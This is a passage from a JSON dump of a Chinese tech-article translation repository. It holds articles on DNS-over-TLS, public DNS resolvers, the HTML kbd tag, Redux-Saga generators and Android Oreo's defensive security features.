1.3](https://tools.ietf.org/html/rfc8446)）和 [TCP Fast Open](https://en.wikipedia.org/wiki/TCP_Fast_Open) 等技术带来的改进，进一步降低延时。\n\n## DoT 的下一步\n\n这个试验已经证明了，我们可以使用 DoT 大规模处理生产环境的负荷，并且不会对用户体验产生任何负面影响。我们将这个试验所得到的经验和知识，作为一种可行的经验回馈给 DNS 社区。\n\n[IETF](https://www.ietf.org/) 等标准社区开发协议时，有时候会缺乏与最终实施与运行协议的组织的意见，这导致了协议设计者、实施者、运营者间的脱节。通过这个试验，我们可以根据在生产环境中运行协议得到的经验，及时向工作组报告具体结果，同时也为有意于部署 DoT 的运营商和软件供应商提供了最佳实践。\n\n我们希望这些初步的试验结果可以激励其它的行业合作伙伴加入我们的试验，扩大 DoT 运营商的数量，并得到更多制定此协议时得到的经验，从而提高反馈水准、得到更多的运营知识和最佳实践。\n\n**感谢 Cloudflare 的 Marek Vavruša 在这个试验中做出的贡献。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/dns-servers-you-should-have-memorized.md",
    "content": "> * 原文地址：[DNS Servers That Offer Privacy and Filtering](https://danielmiessler.com/blog/dns-servers-you-should-have-memorized/)\n> * 原文作者：[DANIEL MIESSLER](https://danielmiessler.com/blog/author/daniel/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/dns-servers-you-should-have-memorized.md](https://github.com/xitu/gold-miner/blob/master/TODO1/dns-servers-you-should-have-memorized.md)\n> * 译者：[ScDadaguo](https://github.com/ScDadaguo)\n> * 校对者：[lsvih](https://github.com/lsvih)，[Fengziyin1234](https://github.com/Fengziyin1234)\n\n# 提供隐私和过滤功能的 DNS 服务器\n\n最新的 DNS 服务器 IP 都是更易于记忆，并提供隐私和过滤功能的。\n\n![](https://danielmiessler.com/images/DNS.png)\n\n如果你是程序员，系统管理员，或任何类型的 IT 工作人员，你会有自己喜欢的首选 IP 地址来进行故障排除。就像我一样，可能很多年都使用同一个 dns。\n\n这些 IP 可用于：\n\n*   测试 `ping` 连接\n*   使用 `dig` 或 `nslookup` 检查 DNS 解析\n*   更新系统的永久 DNS 设置\n\n> 大多数 DNS 服务器允许你 ping 它们。\n\n我喜欢使用 DNS 服务器，因为可以用它们测试连接和名称解析。我使用时间最长 DNS 服务器是 Google DNS 服务器，如下：\n\n```\n8.8.8.8  \n8.8.4.4\n```\n\n…但他们没有启用任何过滤功能，因此近年来，我不再想把所有 DNS 查询都发给 Google。\n\n> Cisco 收购了 OpenDNS 公司，Umbrella 便来自于此。\n\n## Google DNS的替代品\n\n在某些时候，我转而使用 Cisco 的 Umbrella 服务器，因为它们会为你进行 URL 过滤。他们维护一个危险 URL 列表并自动阻止它们，这有助于阻止恶意软件。\n\n```\n208.67.222.222  \n208.67.220.220\n```\n\n虽然 OpenDNS 服务器很棒，但我总是需要先去查找它们的地址。直到几年前，出现了一套新的 DNS 服务器，不仅关注速度和功能，还关注 **可记忆性** 。\n\n最容易记的 DNS 服务器 是 IBM 的 Quad9，和你想的一样，它的 IP 由 4 个 9 组成：\n\n```\n9.9.9.9\n```\n\n> 我觉得它刚一发布就超负荷运行了，或者是他们的过滤功能还没有被调整好。\n\n我最初尝试使用 Quad9 时发现它有点慢。我想他们现在应该已经解决了这个问题，但更多关于以下的表现。\n\n## CloudFlare 出现了\n\n![, DNS Servers That Offer Privacy and Filtering](https://danielmiessler.com/images/Screen-Shot-2019-01-27-at-11.49.14-PM-300x300.png)\n\n在 Google、Cisco 和 IBM 提供具有各种有趣的方案后，然后我们看到 CloudFlare 进入该领域。\n\nCloudFlare 不是提供过滤功能，而是专注于隐私方面的提升。\n\n> 还有一些 recursive DNS 服务声称其服务是安全的，因为它们支持 DNSSEC。虽然这是一种很好的安全措施，但具有讽刺意味的是，这些服务的用户并未受到 DNS 公司本身的保护。其中许多公司出于商业目的，从其 DNS 客户处收集数据。相反，1.1.1.1 这个 DNS 不会挖掘任何用户数据，而且日志只保留 24 小时以进行调试，然后就会完全被清除。\n>   \n> CloudFlare 网站\n\n也许对我来说最酷的是它们的 DNS 非常好记，非常棒：\n\n1.0.0.1 可以缩写为 1.1，因此你可以通过输入 `ping 1.1` 进行测试。\n\n```\n1.1.1.1  \n1.0.0.1\n```\n\n非常的方便！\n\n因此使用它们时，不会对你的 URL 进行过滤，而且它们会有意识地避免以任何方式记录或者跟踪你，这也是极好的。\n\n## Norton ConnectSafe DNS\n\nNorton 也有一个公共 DNS 服务，它有一个有趣的功能：多级 URL 内容过滤。\n\n### 阻止恶意和欺诈性网站\n\n```\n199.85.126.10  \n199.85.127.10\n```\n\n### 阻止色情内容\n\n```\n199.85.126.20  \n199.85.127.20\n```\n\n### 阻止各种形式的成人内容\n\n```\n199.85.126.30  \n199.85.127.30\n```\n\n## 我的推荐\n\nDNS 服务器的性能根据你所处的地理位置而有所不同，但在最近的测试中，我发现它们的响应都挺快的。\n\n对我而言归结为：\n\n*   如果你关心隐私和速度以及为了好记，我推荐 CloudFlare：\n\n```\n1.1.1.1  \n1.0.0.1\n```\n\n我发现两家公司的 DNS 过滤服务都不是很好，说实话，我觉得他们两家公司就像是在边缘营销。\n\n*   如果你想要 URL 过滤，比起 Umbrella，我更推荐 Quad9，因为它更容易记住并且拥有多个威胁情报源。\n\n```\n9.9.9.9\n```\n\n*   如果你想要进行多层次的 URL 过滤，你可以使用 Norton 的产品，同时我个人更喜欢只使用 Quad9。但我也认为选择 Norton 依然是一个很酷的选择，就比如用他们的 DNS 进行最严格的 URL 过滤来保护整个学校或者其他一些系统。\n\n## 总结\n\n最后说两点总结：\n\n1.  为了速度和隐私：`1.1.1.1`\n2.  用于过滤：`9.9.9.9`\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/do-you-know-about-the-keyboard-tag-in-html.md",
    "content": "> * 原文地址：[Do You Know About the Keyboard Tag in HTML?](https://medium.com/better-programming/do-you-know-about-the-keyboard-tag-in-html-55bb3986f186)\n> * 原文作者：[Ashay Mandwarya 🖋️💻🍕](https://medium.com/@ashaymurceilago)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/do-you-know-about-the-keyboard-tag-in-html.md](https://github.com/xitu/gold-miner/blob/master/TODO1/do-you-know-about-the-keyboard-tag-in-html.md)\n> * 译者：[IAMSHENSH](https://github.com/IAMSHENSH)\n> * 校对者：[QinRoc](https://github.com/QinRoc)\n\n# 您知道 HTML 的键盘标签吗？\n\n> 使键盘指令有更好的文本格式\n\n![图片来源于 [Florian Krumm](https://unsplash.com/@floriankrumm?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)](https://cdn-images-1.medium.com/max/12000/0*f7nqmMC9F1xGB3im)\n\nHTML5 的 `\\<kbd>` 标签用于展示键盘输入。使用此标签包装键盘指令文本，将会在语义上提供更准确的结果，也能让您定位，以便能对其应用一些很棒的样式。而且 `\\<kbd>` 标签特别适合用在文档中。\n\n让我们来看看它的实际效果。\n\n## HTML\n\n#### 使用 \\<kbd> 标签\n\n```html\n<kbd>Ctrl</kbd>+<kbd>Alt</kbd>+<kbd>Del</kbd>\n```\n\n![使用 \\<kbd> 标签](https://cdn-images-1.medium.com/max/2000/1*cOX2zkr7t8lqhi1cAs-y-w.png)\n\n#### 不使用 \\<kbd> 标签\n\n对比一下，没有使用 `\\<kbd>` 标签是这样的：\n\n```html\n<p>Ctrl+Alt+Del</p>\n```\n\n![不使用 \\<kbd> 标签](https://cdn-images-1.medium.com/max/2000/1*78xmgPdM1W93VAPMxWUegg.png)\n\n## CSS\n\n只使用 \\<kbd> 标签，看起来差别不大。但通过加上一些样式，可以让它看起来像实际的键盘按钮，具有更逼真的效果。\n\n```css\nkbd {\nborder-radius: 5px;\npadding: 5px;\nborder: 1px solid teal;\n}\n```\n\n![加上样式](https://cdn-images-1.medium.com/max/2000/1*YeOd2I5BjpmHf1gqvy8SOA.png)\n\n如果您在控制台中查看该元素，您会发现它除了更改为等宽字体外，没有其他特别之处。\n\n![](https://cdn-images-1.medium.com/max/2000/1*m6FqgEvoA0T5zuIxkUAfGQ.png)\n\n## 结论\n\n使用 `\\<code>` 标签也可以产生同样的效果。那为什么要创建 `\\<kbd>` 呢？\n\n答案在于语义上的区别。`\\<code>` 用于显示简短的代码片段，而 `\\<kbd>` 用于表示键盘输入。\n\n感谢您花时间读完本文！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/dont-call-me-i-ll-call-you-side-effects-management-with-redux-saga-part-1.md",
    "content": "> * 原文地址：[Don’t call me, I’ll call you: Side effects management with Redux-Saga (Part 1)](https://medium.com/appsflyer/dont-call-me-i-ll-call-you-side-effects-management-with-redux-saga-part-1-d0a92c3f81be)\r\n> * 原文作者：[David Dvora](https://medium.com/@daviddvora?source=post_header_lockup)\r\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\r\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/dont-call-me-i-ll-call-you-side-effects-management-with-redux-saga-part-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/dont-call-me-i-ll-call-you-side-effects-management-with-redux-saga-part-1.md)\r\n> * 译者：[jonjia](https://github.com/jonjia)\r\n> * 校对者：[smileShirely](https://github.com/smileShirely) [ClarenceC](https://github.com/ClarenceC)\r\n\r\n# Don’t call me, I’ll call you：使用 Redux-Saga 管理 React 应用中的异步 action（上）\r\n\r\n![](https://cdn-images-1.medium.com/max/800/1*v-_1QMuWsWYoB-AY78nArQ.png)\r\n\r\n在接下来的两篇文章中，我想谈谈在 React 应用中使用 Redux-Saga 进行异步 action 管理的基础和进阶方法。我会说明为什么我们会在 **AppsFlyer** 项目中使用它，以及它可以解决什么问题。\r\n\r\n本篇文章主要介绍 Redux-Saga 相关的基本概念，下篇专门讨论 Redux-Saga 可以解决哪些问题。请注意：阅读这两篇文章，你要对 [React](https://reactjs.org/) 和 [Redux](https://redux.js.org/) 有一定的了解。\r\n\r\n#### Generators 先行！\r\n\r\n为了理解 Sagas，我们首先要理解什么是 Generator。下面是 [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function%2A) 对 Generator 的描述：\r\n\r\n> Generator 是在执行时能暂停，后面又能从暂停处继续执行的函数。它的上下文会在继续执行时保存。\r\n\r\n你可以把 Generator 理解成一种遍历器对象生成函数，（译注：Generator 执行后返回的遍历器对象）提供一个 `next` 方法。执行这个方法就会返回下一个状态，或者返回遍历结束的状态。这就需要 Generator 能够维护内部状态。\r\n\r\n下面是一个基本的 Generator 示例，它生成的遍历器对象会返回几个字符串：\r\n\r\n```\r\nfunction* namesEmitter() {\r\n  yield \"William\";\r\n  yield \"Jacob\";\r\n  return \"Daniel\";\r\n}\r\n\r\n// 执行 Generator\r\nvar generator = namesEmitter();\r\n\r\nconsole.log(generator.next()); // prints {value: \"William\", done: false}\r\n\r\nconsole.log(generator.next()); // prints {value: \"Jacob\", done: false}\r\n\r\nconsole.log(generator.next()); // prints {value: \"Daniel\", done: true}\r\n```\r\n\r\n`next` 方法的返回值结构非常简单 — 只要我们通过 `yield/return` 返回值，这个返回值就是 `value` 属性的值。如果我们没有返回值，`value` 属性的值就是 **undefined**，`done` 属性的值就是 `true`。\r\n还有一点值的注意的是，执行 `namesEmitter` 后，函数会在调用 `yield` 的地方停下来。当我们调用 `next` 方法后，函数会继续执行，直到遇到下一个 `yield`。如果我们调用了 `return` 语句或者函数执行完毕，`done` 属性就会为真。\r\n\r\n如果状态序列的长度不确定时，我们可以用下面的方法来写：\r\n\r\n```\r\nvar results = generator.next();\r\nwhile(!results.done){\r\n console.log(results.value);\r\n results = generator.next();\r\n}\r\nconsole.log(results.value);\r\n```\r\n\r\n#### 什么是 Sagas？\r\n\r\nSagas 是通过 Generator 函数来创建的。[官方文档](https://github.com/redux-saga/redux-saga) 的解释如下：\r\n\r\n> Saga 就像应用中的一个独立线程，完全负责管理异步 action。\r\n\r\n你可以把 Saga 想象成一个以最快速度不断地调用 `next` 方法并尝试获取所有 `yield` 表达式值的线程。你可能会问这和 React 有什么关系，为什么要使用它，所以首先来看看如何在 React & Redux 应用使用 Saga：\r\n\r\n在 React & Redux 应用中，一个常见的用法从调用一个 action 开始。被分配用来处理这个 action 的 reducer 会使用新的 state 更新 store，随后视图就会被更新渲染。\r\n如果一个 Saga 被分配用来处理这个 action — 这个 action 通常就是个异步 action（比如一个对服务端的请求），一旦这个 action 完成后，Saga 会调用另一个 action 让 reducer 进行处理。\r\n\r\n#### 常见用例\r\n\r\n我们可以通过一个常见流程来说明：\r\n用户与页面进行交互，这个交互动作会触发一个从服务端请求数据的动作(此时页面显示 loading 提示)，最终我们用请求回来的数据去渲染页面的内容。\r\n让我们为每步创建一个 action，然后用 Redux-Saga 实现一个简化的版本如下：\r\n\r\n```\r\n// saga.js\r\nimport { take } from 'redux-saga/effects'\r\n\r\nfunction* mySaga(){ \r\n    yield take(USER_INTERACTED_WITH_UI_ACTION);\r\n}\r\n```\r\n\r\n这个 Saga 的函数名叫做 `mySaga`。它调用了 Redux-Saga [effect](https://redux-saga.js.org/docs/api/#effect-creators) 的 [`take`](https://redux-saga.js.org/docs/api/#takepattern) 方法，这个方法会**阻塞**Saga的执行，直到有人调用了作为参数的那个 action，Saga 的执行也会结束，就像我们前面看到的 Generator 一样（done 变为 true）。\r\n\r\n现在我们要让页面展示 loading 提示来响应这个 action。可以通过 [`put`](https://redux-saga.js.org/docs/api/#putaction) 方法调用另一个 action，然后分配 reducer 来处理，从而完成上述功能。如下：\r\n\r\n```\r\n// saga.js\r\nimport { take, put } from 'redux-saga/effects'\r\n\r\nfunction* mySaga(){ \r\n    yield take(USER_INTERACTED_WITH_UI_ACTION);\r\n    yield put(SHOW_LOADING_ACTION, {isLoading: true});\r\n}\r\n\r\n// reducer.js\r\n...\r\ncase SHOW_LOADING_ACTION: (state, isLoading) => {\r\n    return Object.assign({}, state, {showLoading: isLoading});\r\n}\r\n...\r\n```\r\n\r\n下一步是调用 [`call`](https://redux-saga.js.org/docs/api/#callfn-args) 方法，它接收一个函数和一组参数，使用这些参数来执行这个函数。我们给 `call` 方法传递一个请求服务端并返回一个 Promise 的 `GET` 函数，它会保存请求结果：\r\n\r\n```\r\n// saga.js\r\nimport { take, put, call } from 'redux-saga/effects'\r\n\r\nfunction* mySaga(){ \r\n    yield take(USER_INTERACTED_WITH_UI_ACTION);\r\n    yield put(SHOW_LOADING_ACTION, {isLoading: true});\r\n    const data = yield call(GET, 'https://my.server.com/getdata');\r\n    yield put(SHOW_DATA_ACTION, {data: data});\r\n}\r\n\r\n// reducer.js\r\n...\r\ncase SHOW_DATA_ACTION: (state, data) => {\r\n    return Object.assign({}, state, {data: data, showLoading: false};\r\n}\r\n...\r\n```\r\n\r\n通过调用 SHOW_DATA_ACTION 来用接收的数据更新页面。\r\n\r\n#### 刚刚发生了什么？\r\n\r\n应用启动后，所有的 Sagas 都会被执行，你可以认为一直在调用 `next` 方法直到结束。`take` 方法类似于线程挂起的作用，一旦调用了**USER_INTERACTED_WITH_UI_ACTION**，线程就会恢复执行。\r\n\r\n然后，我们继续调用 **SHOW_LOADING_ACTION**，reducer 会处理这个 action。由于 Saga 还在继续运行，`call` 方法会发起对服务端的请求，Saga 会在再次挂起，直到请求结束。\r\n\r\n#### 每次都使用\r\n\r\n在上面的例子中，Saga 只处理了一个用户交互的 action，因为我们用 `put` 方法执行了 `SHOW_DATA_ACTION` 这个 action，然后后面就没有 yield 了（done 就是 true 了对吧？）。\r\n\r\n如果我们希望在每次调用 `USER_INTERACTED_WITH_UI_ACTION` 这个 action 的时候，都会执行这一系列的 actions，我们可以用 `while(true)` 语句来包裹 Saga 内部的逻辑代码。完整代码如下：\r\n\r\n```\r\n// saga.js\r\nimport { take, put, call } from 'redux-saga/effects'\r\n\r\n1. function* mySaga(){\r\n2.   while (true){\r\n3.    yield take(USER_INTERACTED_WITH_UI_ACTION);\r\n4.    yield put(SHOW_LOADING_ACTION, {isLoading: true});\r\n5.    const data = yield call(GET, 'https://my.server.com/getdata');\r\n6.    yield put(SHOW_DATA_ACTION, {data: data});\r\n7.  }\r\n8. }\r\n\r\n// reducer.js\r\n...\r\ncase SHOW_LOADING_ACTION: (state, isLoading) => {\r\n    return Object.assign({}, state, {showLoading: isLoading});\r\n},\r\ncase SHOW_DATA_ACTION: (state, data) => {\r\n    return Object.assign({}, state, {data: data, showLoading: false};\r\n}\r\n...\r\n```\r\n\r\n这个无限循环**不会**造成堆栈溢出，**也不会**使你的应用崩溃！因为 `take` 方法就像线程挂起一样，`mySaga` 执行后会一直保持 `pending` 状态，直到那个 action 被触发。下次重新进入循环后，也会重复上述过程。\r\n\r\n让我们一步步地看一下上面的过程：\r\n1. 应用启动，执行所有 Sagas。\r\n2. **mySaga** 运行，进入 `while(true)` 循环，在第 3 行挂起。\r\n3. `USER_INTERACTED_WITH_UI_ACTION` 这个 action 被触发。\r\n4. Saga 的线程激活，执行第 4 行，触发 `SHOW_LOADING_ACTION` 这个 action，然后分配的 reducer 进行处理（reducer 处理后，页面就会显示 loading 提示）。\r\n5. 发送一个请求到服务端（第 5 行），然后会再次挂起，直到请求的 Promise 变为 resolved，请求结果的数据会赋值给 data 变量。\r\n6. `SHOW_DATA_ACTION` 接收 data 作为参数被触发，然后 reducer 就可以使用这些数据来更新页面。\r\n7. 再次进入循环，回到第 2 步。\r\n\r\n#### 接下来\r\n\r\n在这篇文章中，我们介绍了 Redux-Saga 相关的基本概念，展示了如何在 React 应用中使用它。下篇文章中，我会展示在实际应用中使用它获得的价值。\r\n\r\n感谢 [Yotam Kadishay](https://medium.com/@kadishay?source=post_page) 和 [Liron Cohen](https://medium.com/@lironch?source=post_page)。\r\n\r\n\r\n---\r\n\r\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\r\n"
  },
  {
    "path": "TODO1/double-stuffed-security-in-android-oreo.md",
    "content": "> * 原文地址：[Double Stuffed Security in Android Oreo](https://android-developers.googleblog.com/2017/12/double-stuffed-security-in-android-oreo.html)\n> * 原文作者：[Gian G Spicuzza](https://android-developers.googleblog.com/2017/12/double-stuffed-security-in-android-oreo.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/double-stuffed-security-in-android-oreo.md](https://github.com/xitu/gold-miner/blob/master/TODO1/double-stuffed-security-in-android-oreo.md)\n> * 译者：\n> * 校对者：\n\n# Double Stuffed Security in Android Oreo\n\nAndroid Oreo is stuffed full of security enhancements. Over the past few months, we've covered how we've improved the security of the Android platform and its applications: from [making it safer to get apps](https://android-developers.googleblog.com/2017/08/making-it-safer-to-get-apps-on-android-o.html), dropping [insecure network protocols](https://android-developers.googleblog.com/2017/04/android-o-to-drop-insecure-tls-version.html), providing more [user control over identifiers](https://android-developers.googleblog.com/2017/04/changes-to-device-identifiers-in.html), [hardening the kernel](https://android-developers.googleblog.com/2017/08/hardening-kernel-in-android-oreo.html), [making Android easier to update](https://android-developers.googleblog.com/2017/07/shut-hal-up.html), all the way to [doubling the Android Security Rewards payouts](https://android-developers.googleblog.com/2017/06/2017-android-security-rewards.html). Now that Oreo is out the door, let's take a look at all the goodness inside.\n\n### Expanding support for hardware security\n\nAndroid already supports [Verified Boot](https://source.android.com/security/verifiedboot/), which is designed to prevent devices from booting up with software that has been tampered with. In Android Oreo, we added a reference implementation for Verified Boot running with [Project Treble](https://source.android.com/devices/architecture/treble), called Android Verified Boot 2.0 (AVB). AVB has a couple of cool features to make updates easier and more secure, such as a common footer format and rollback protection. Rollback protection is designed to prevent a device to boot if downgraded to an older OS version, which could be vulnerable to an exploit. To do this, the devices save the OS version using either special hardware or by having the Trusted Execution Environment (TEE) sign the data. Pixel 2 and Pixel 2 XL come with this protection and we recommend all device manufacturers add this feature to their new devices.\n\nOreo also includes the new [OEM Lock Hardware Abstraction Layer](https://android-review.googlesource.com/#/c/platform/hardware/interfaces/+/527086/-1..1/oemlock/1.0/IOemLock.hal) (HAL) that gives device manufacturers more flexibility for how they protect whether a device is locked, unlocked, or unlockable. For example, the new Pixel phones use this HAL to pass commands to the bootloader. The bootloader analyzes these commands the next time the device boots and determines if changes to the locks, which are securely stored in Replay Protected Memory Block (RPMB), should happen. If your device is stolen, these safeguards are designed to prevent your device from being reset and to keep your data secure. This new HAL even supports moving the lock state to dedicated hardware.\n\nSpeaking of hardware, we've invested support in tamper-resistant hardware, such as the [security module](https://android-developers.googleblog.com/2017/11/how-pixel-2s-security-module-delivers.html) found in every Pixel 2 and Pixel 2 XL. This physical chip prevents many software and hardware attacks and is also resistant to physical penetration attacks. The security module prevents deriving the encryption key without the device's passcode and limits the rate of unlock attempts, which makes many attacks infeasible due to time restrictions.\n\nWhile the new Pixel devices have the special security module, all new [GMS](https://www.android.com/gms/) devices shipping with Android Oreo are required to implement [key attestation](https://android-developers.googleblog.com/2017/09/keystore-key-attestation.html). This provides a mechanism for strongly [attesting IDs](https://source.android.com/security/keystore/attestation#id-attestation) such as hardware identifiers.\n\nWe added new features for enterprise-managed devices as well. In work profiles, encryption keys are now ejected from RAM when the profile is off or when your company's admin remotely locks the profile. This helps secure enterprise data at rest.\n\n### Platform hardening and process isolation\n\nAs part of [Project Treble](https://android-developers.googleblog.com/2017/05/here-comes-treble-modular-base-for.html), the Android framework was re-architected to make updates easier and less costly for device manufacturers. This separation of platform and vendor-code was also designed to improve security. Following the [principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege), these HALs run in their [own sandbox](https://android-developers.googleblog.com/2017/07/shut-hal-up.html) and only have access to the drivers and permissions that are absolutely necessary.\n\nContinuing with the [media stack hardening](https://android-developers.googleblog.com/2016/05/hardening-media-stack.html) in Android Nougat, most direct hardware access has been removed from the media frameworks in Oreo resulting in better isolation. Furthermore, we've enabled Control Flow Integrity (CFI) across all media components. Most vulnerabilities today are exploited by subverting the normal control flow of an application, instead changing them to perform arbitrary malicious activities with all the privileges of the exploited application. CFI is a robust security mechanism that disallows arbitrary changes to the original control flow graph of a compiled binary, making it significantly harder to perform such attacks.\n\nIn addition to these architecture changes and CFI, Android Oreo comes with a feast of other tasty platform security enhancements:\n\n*   **[Seccomp filtering](https://android-developers.googleblog.com/2017/07/seccomp-filter-in-android-o.html)**: makes some unused syscalls unavailable to apps so that they can't be exploited by potentially harmful apps.\n*   **[Hardened usercopy](https://lwn.net/Articles/695991/)**: A recent [survey of security bugs](https://events.linuxfoundation.org/sites/events/files/slides/Android-%20protecting%20the%20kernel.pdf) on Android revealed that invalid or missing bounds checking was seen in approximately 45% of kernel vulnerabilities. We've backported a bounds checking feature to Android kernels 3.18 and above, which makes exploitation harder while also helping developers spot issues and fix bugs in their code.\n*   **Privileged Access Never (PAN) emulation**: Also backported to 3.18 kernels and above, this feature prohibits the kernel from accessing user space directly and ensures developers utilize the hardened functions to access user space.\n*   **Kernel Address Space Layout Randomization (KASLR)**: Although Android has supported userspace Address Space Layout Randomization (ASLR) for years, we've backported KASLR to help mitigate vulnerabilities on Android kernels 4.4 and newer. KASLR works by randomizing the location where kernel code is loaded on each boot, making code reuse attacks probabilistic and therefore more difficult to carry out, especially remotely.\n\n### App security and device identifier changes\n\n[Android Instant Apps](https://developer.android.com/topic/instant-apps/index.html) run in a restricted sandbox which limits permissions and capabilities such as reading the on-device app list or transmitting cleartext traffic. Although introduced during the Android Oreo release, Instant Apps supports devices running [Android Lollipop](https://www.android.com/versions/lollipop-5-0/) and later.\n\nIn order to handle untrusted content more safely, we've [isolated WebView](https://android-developers.googleblog.com/2017/06/whats-new-in-webview-security.html) by splitting the rendering engine into a separate process and running it within an isolated sandbox that restricts its resources. WebView also supports [Safe Browsing](https://safebrowsing.google.com/) to protect against potentially dangerous sites.\n\nLastly, we've made [significant changes to device identifiers](https://android-developers.googleblog.com/2017/04/changes-to-device-identifiers-in.html) to give users more control, including:\n\n*   Moving the static _Android ID_ and _Widevine_ values to an app-specific value, which helps limit the use of device-scoped non-resettable IDs.\n*   In accordance with [IETF RFC 7844](https://tools.ietf.org/html/rfc7844#section-3.7) anonymity profile, `net.hostname` is now empty and the DHCP client no longer sends a hostname.\n*   For apps that require a device ID, we've built a `Build.getSerial() API` and protected it behind a permission.\n*   Alongside security researchers<sup>1</sup>, we designed a robust MAC address randomization for Wi-Fi scan traffic in various chipsets firmware.\n\nAndroid Oreo brings in all of these improvements, and [many more](https://www.android.com/versions/oreo-8-0/). As always, we appreciate feedback and welcome suggestions for how we can improve Android. Contact us at security@android.com.\n\n> 1: Glenn Wilkinson and team at Sensepost, UK, Célestin Matte, Mathieu Cunche: University of Lyon, INSA-Lyon, CITI Lab, Inria Privatics, Mathy Vanhoef, KU Leuven.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/draw-a-path-rendering-android-vectordrawables.md",
